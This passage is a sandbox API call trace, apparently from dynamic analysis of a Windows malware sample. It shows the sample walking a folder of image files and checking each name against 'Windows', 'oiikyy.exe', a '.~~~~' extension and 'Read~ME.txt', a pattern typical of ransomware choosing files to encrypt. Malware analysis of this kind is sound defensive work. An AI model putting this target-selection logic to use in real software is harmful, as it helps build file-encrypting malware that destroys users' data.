	[0084.176] StrStrW (lpFirst="J0099150.JPG", lpSrch=".~~~~") returned 0x0
	[0084.176] lstrcmpW (lpString1="J0099150.JPG", lpString2="Read~ME.txt") returned -1
	[0084.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.217] GetCurrentThreadId () returned 0x618
	[0084.220] RtlWakeConditionVariable () returned 0x365f48
	[0084.220] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1
	[0084.220] lstrcmpiW (lpString1="J0099151.WMF", lpString2="Windows") returned -1
	[0084.220] lstrcmpW (lpString1="J0099151.WMF", lpString2="oiikyy.exe") returned -1
	[0084.220] StrStrW (lpFirst="J0099151.WMF", lpSrch=".~~~~") returned 0x0
	[0084.220] lstrcmpW (lpString1="J0099151.WMF", lpString2="Read~ME.txt") returned -1
	[0084.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.220] GetCurrentThreadId () returned 0x618
	[0084.220] RtlWakeConditionVariable () returned 0x365f48
	[0084.220] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1
	[0084.220] lstrcmpiW (lpString1="J0099152.JPG", lpString2="Windows") returned -1
	[0084.220] lstrcmpW (lpString1="J0099152.JPG", lpString2="oiikyy.exe") returned -1
	[0084.220] StrStrW (lpFirst="J0099152.JPG", lpSrch=".~~~~") returned 0x0
	[0084.220] lstrcmpW (lpString1="J0099152.JPG", lpString2="Read~ME.txt") returned -1
	[0084.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.221] GetCurrentThreadId () returned 0x618
	[0084.221] RtlWakeConditionVariable () returned 0x365f48
	[0084.221] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1
	[0084.221] lstrcmpiW (lpString1="J0099153.WMF", lpString2="Windows") returned -1
	[0084.221] lstrcmpW (lpString1="J0099153.WMF", lpString2="oiikyy.exe") returned -1
	[0084.221] StrStrW (lpFirst="J0099153.WMF", lpSrch=".~~~~") returned 0x0
	[0084.221] lstrcmpW (lpString1="J0099153.WMF", lpString2="Read~ME.txt") returned -1
	[0084.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.221] GetCurrentThreadId () returned 0x618
	[0084.221] RtlWakeConditionVariable () returned 0x365f48
	[0084.221] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1
	[0084.221] lstrcmpiW (lpString1="J0099154.JPG", lpString2="Windows") returned -1
	[0084.221] lstrcmpW (lpString1="J0099154.JPG", lpString2="oiikyy.exe") returned -1
	[0084.221] StrStrW (lpFirst="J0099154.JPG", lpSrch=".~~~~") returned 0x0
	[0084.221] lstrcmpW (lpString1="J0099154.JPG", lpString2="Read~ME.txt") returned -1
	[0084.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.221] GetCurrentThreadId () returned 0x618
	[0084.221] RtlWakeConditionVariable () returned 0x365f48
	[0084.221] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1
	[0084.221] lstrcmpiW (lpString1="J0099155.JPG", lpString2="Windows") returned -1
	[0084.221] lstrcmpW (lpString1="J0099155.JPG", lpString2="oiikyy.exe") returned -1
	[0084.221] StrStrW (lpFirst="J0099155.JPG", lpSrch=".~~~~") returned 0x0
	[0084.221] lstrcmpW (lpString1="J0099155.JPG", lpString2="Read~ME.txt") returned -1
	[0084.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.221] GetCurrentThreadId () returned 0x618
	[0084.221] RtlWakeConditionVariable () returned 0x365f48
	[0084.221] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1
	[0084.221] lstrcmpiW (lpString1="J0099156.JPG", lpString2="Windows") returned -1
	[0084.222] lstrcmpW (lpString1="J0099156.JPG", lpString2="oiikyy.exe") returned -1
	[0084.222] StrStrW (lpFirst="J0099156.JPG", lpSrch=".~~~~") returned 0x0
	[0084.222] lstrcmpW (lpString1="J0099156.JPG", lpString2="Read~ME.txt") returned -1
	[0084.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.222] GetCurrentThreadId () returned 0x618
	[0084.222] RtlWakeConditionVariable () returned 0x365f48
	[0084.222] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1
	[0084.222] lstrcmpiW (lpString1="J0099157.JPG", lpString2="Windows") returned -1
	[0084.222] lstrcmpW (lpString1="J0099157.JPG", lpString2="oiikyy.exe") returned -1
	[0084.222] StrStrW (lpFirst="J0099157.JPG", lpSrch=".~~~~") returned 0x0
	[0084.222] lstrcmpW (lpString1="J0099157.JPG", lpString2="Read~ME.txt") returned -1
	[0084.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.222] GetCurrentThreadId () returned 0x618
	[0084.222] RtlWakeConditionVariable () returned 0x365f48
	[0084.222] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1
	[0084.222] lstrcmpiW (lpString1="J0099158.WMF", lpString2="Windows") returned -1
	[0084.222] lstrcmpW (lpString1="J0099158.WMF", lpString2="oiikyy.exe") returned -1
	[0084.222] StrStrW (lpFirst="J0099158.WMF", lpSrch=".~~~~") returned 0x0
	[0084.222] lstrcmpW (lpString1="J0099158.WMF", lpString2="Read~ME.txt") returned -1
	[0084.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.222] GetCurrentThreadId () returned 0x618
	[0084.222] RtlWakeConditionVariable () returned 0x365f48
	[0084.222] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1
	[0084.222] lstrcmpiW (lpString1="J0099159.WMF", lpString2="Windows") returned -1
	[0084.222] lstrcmpW (lpString1="J0099159.WMF", lpString2="oiikyy.exe") returned -1
	[0084.222] StrStrW (lpFirst="J0099159.WMF", lpSrch=".~~~~") returned 0x0
	[0084.222] lstrcmpW (lpString1="J0099159.WMF", lpString2="Read~ME.txt") returned -1
	[0084.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.222] GetCurrentThreadId () returned 0x618
	[0084.223] RtlWakeConditionVariable () returned 0x365f48
	[0084.223] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1
	[0084.223] lstrcmpiW (lpString1="J0099160.JPG", lpString2="Windows") returned -1
	[0084.223] lstrcmpW (lpString1="J0099160.JPG", lpString2="oiikyy.exe") returned -1
	[0084.223] StrStrW (lpFirst="J0099160.JPG", lpSrch=".~~~~") returned 0x0
	[0084.223] lstrcmpW (lpString1="J0099160.JPG", lpString2="Read~ME.txt") returned -1
	[0084.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.223] GetCurrentThreadId () returned 0x618
	[0084.223] RtlWakeConditionVariable () returned 0x365f48
	[0084.223] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1
	[0084.223] lstrcmpiW (lpString1="J0099161.JPG", lpString2="Windows") returned -1
	[0084.223] lstrcmpW (lpString1="J0099161.JPG", lpString2="oiikyy.exe") returned -1
	[0084.223] StrStrW (lpFirst="J0099161.JPG", lpSrch=".~~~~") returned 0x0
	[0084.223] lstrcmpW (lpString1="J0099161.JPG", lpString2="Read~ME.txt") returned -1
	[0084.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.223] GetCurrentThreadId () returned 0x618
	[0084.223] RtlWakeConditionVariable () returned 0x365f48
	[0084.223] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1
	[0084.223] lstrcmpiW (lpString1="J0099162.JPG", lpString2="Windows") returned -1
	[0084.223] lstrcmpW (lpString1="J0099162.JPG", lpString2="oiikyy.exe") returned -1
	[0084.223] StrStrW (lpFirst="J0099162.JPG", lpSrch=".~~~~") returned 0x0
	[0084.223] lstrcmpW (lpString1="J0099162.JPG", lpString2="Read~ME.txt") returned -1
	[0084.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.223] GetCurrentThreadId () returned 0x618
	[0084.223] RtlWakeConditionVariable () returned 0x365f48
	[0084.223] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1
	[0084.223] lstrcmpiW (lpString1="J0099163.WMF", lpString2="Windows") returned -1
	[0084.223] lstrcmpW (lpString1="J0099163.WMF", lpString2="oiikyy.exe") returned -1
	[0084.224] StrStrW (lpFirst="J0099163.WMF", lpSrch=".~~~~") returned 0x0
	[0084.224] lstrcmpW (lpString1="J0099163.WMF", lpString2="Read~ME.txt") returned -1
	[0084.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.224] GetCurrentThreadId () returned 0x618
	[0084.224] RtlWakeConditionVariable () returned 0x365f48
	[0084.224] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1
	[0084.224] lstrcmpiW (lpString1="J0099164.WMF", lpString2="Windows") returned -1
	[0084.224] lstrcmpW (lpString1="J0099164.WMF", lpString2="oiikyy.exe") returned -1
	[0084.224] StrStrW (lpFirst="J0099164.WMF", lpSrch=".~~~~") returned 0x0
	[0084.224] lstrcmpW (lpString1="J0099164.WMF", lpString2="Read~ME.txt") returned -1
	[0084.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.224] GetCurrentThreadId () returned 0x618
	[0084.224] RtlWakeConditionVariable () returned 0x365f48
	[0084.224] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1
	[0084.224] lstrcmpiW (lpString1="J0099165.JPG", lpString2="Windows") returned -1
	[0084.224] lstrcmpW (lpString1="J0099165.JPG", lpString2="oiikyy.exe") returned -1
	[0084.224] StrStrW (lpFirst="J0099165.JPG", lpSrch=".~~~~") returned 0x0
	[0084.224] lstrcmpW (lpString1="J0099165.JPG", lpString2="Read~ME.txt") returned -1
	[0084.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.224] GetCurrentThreadId () returned 0x618
	[0084.224] RtlWakeConditionVariable () returned 0x365f48
	[0084.224] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1
	[0084.224] lstrcmpiW (lpString1="J0099166.JPG", lpString2="Windows") returned -1
	[0084.224] lstrcmpW (lpString1="J0099166.JPG", lpString2="oiikyy.exe") returned -1
	[0084.224] StrStrW (lpFirst="J0099166.JPG", lpSrch=".~~~~") returned 0x0
	[0084.224] lstrcmpW (lpString1="J0099166.JPG", lpString2="Read~ME.txt") returned -1
	[0084.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.224] GetCurrentThreadId () returned 0x618
	[0084.224] RtlWakeConditionVariable () returned 0x365f48
	[0084.224] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1
	[0084.225] lstrcmpiW (lpString1="J0099167.JPG", lpString2="Windows") returned -1
	[0084.225] lstrcmpW (lpString1="J0099167.JPG", lpString2="oiikyy.exe") returned -1
	[0084.225] StrStrW (lpFirst="J0099167.JPG", lpSrch=".~~~~") returned 0x0
	[0084.225] lstrcmpW (lpString1="J0099167.JPG", lpString2="Read~ME.txt") returned -1
	[0084.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.225] GetCurrentThreadId () returned 0x618
	[0084.225] RtlWakeConditionVariable () returned 0x365f48
	[0084.225] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1
	[0084.225] lstrcmpiW (lpString1="J0099168.JPG", lpString2="Windows") returned -1
	[0084.225] lstrcmpW (lpString1="J0099168.JPG", lpString2="oiikyy.exe") returned -1
	[0084.225] StrStrW (lpFirst="J0099168.JPG", lpSrch=".~~~~") returned 0x0
	[0084.225] lstrcmpW (lpString1="J0099168.JPG", lpString2="Read~ME.txt") returned -1
	[0084.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.225] GetCurrentThreadId () returned 0x618
	[0084.225] RtlWakeConditionVariable () returned 0x365f48
	[0084.225] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1
	[0084.225] lstrcmpiW (lpString1="J0099169.WMF", lpString2="Windows") returned -1
	[0084.225] lstrcmpW (lpString1="J0099169.WMF", lpString2="oiikyy.exe") returned -1
	[0084.225] StrStrW (lpFirst="J0099169.WMF", lpSrch=".~~~~") returned 0x0
	[0084.225] lstrcmpW (lpString1="J0099169.WMF", lpString2="Read~ME.txt") returned -1
	[0084.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.225] GetCurrentThreadId () returned 0x618
	[0084.225] RtlWakeConditionVariable () returned 0x365f48
	[0084.225] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1
	[0084.225] lstrcmpiW (lpString1="J0099170.WMF", lpString2="Windows") returned -1
	[0084.225] lstrcmpW (lpString1="J0099170.WMF", lpString2="oiikyy.exe") returned -1
	[0084.225] StrStrW (lpFirst="J0099170.WMF", lpSrch=".~~~~") returned 0x0
	[0084.225] lstrcmpW (lpString1="J0099170.WMF", lpString2="Read~ME.txt") returned -1
	[0084.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.225] GetCurrentThreadId () returned 0x618
	[0084.225] RtlWakeConditionVariable () returned 0x365f48
	[0084.226] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1
	[0084.226] lstrcmpiW (lpString1="J0099171.WMF", lpString2="Windows") returned -1
	[0084.226] lstrcmpW (lpString1="J0099171.WMF", lpString2="oiikyy.exe") returned -1
	[0084.226] StrStrW (lpFirst="J0099171.WMF", lpSrch=".~~~~") returned 0x0
	[0084.226] lstrcmpW (lpString1="J0099171.WMF", lpString2="Read~ME.txt") returned -1
	[0084.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.226] GetCurrentThreadId () returned 0x618
	[0084.226] RtlWakeConditionVariable () returned 0x365f48
	[0084.226] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1
	[0084.226] lstrcmpiW (lpString1="J0099172.WMF", lpString2="Windows") returned -1
	[0084.226] lstrcmpW (lpString1="J0099172.WMF", lpString2="oiikyy.exe") returned -1
	[0084.226] StrStrW (lpFirst="J0099172.WMF", lpSrch=".~~~~") returned 0x0
	[0084.226] lstrcmpW (lpString1="J0099172.WMF", lpString2="Read~ME.txt") returned -1
	[0084.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.226] GetCurrentThreadId () returned 0x618
	[0084.226] RtlWakeConditionVariable () returned 0x365f48
	[0084.226] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1
	[0084.226] lstrcmpiW (lpString1="J0099173.WMF", lpString2="Windows") returned -1
	[0084.226] lstrcmpW (lpString1="J0099173.WMF", lpString2="oiikyy.exe") returned -1
	[0084.226] StrStrW (lpFirst="J0099173.WMF", lpSrch=".~~~~") returned 0x0
	[0084.226] lstrcmpW (lpString1="J0099173.WMF", lpString2="Read~ME.txt") returned -1
	[0084.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.226] GetCurrentThreadId () returned 0x618
	[0084.226] RtlWakeConditionVariable () returned 0x365f48
	[0084.226] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1
	[0084.226] lstrcmpiW (lpString1="J0099174.WMF", lpString2="Windows") returned -1
	[0084.226] lstrcmpW (lpString1="J0099174.WMF", lpString2="oiikyy.exe") returned -1
	[0084.226] StrStrW (lpFirst="J0099174.WMF", lpSrch=".~~~~") returned 0x0
	[0084.226] lstrcmpW (lpString1="J0099174.WMF", lpString2="Read~ME.txt") returned -1
	[0084.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.227] GetCurrentThreadId () returned 0x618
	[0084.227] RtlWakeConditionVariable () returned 0x365f48
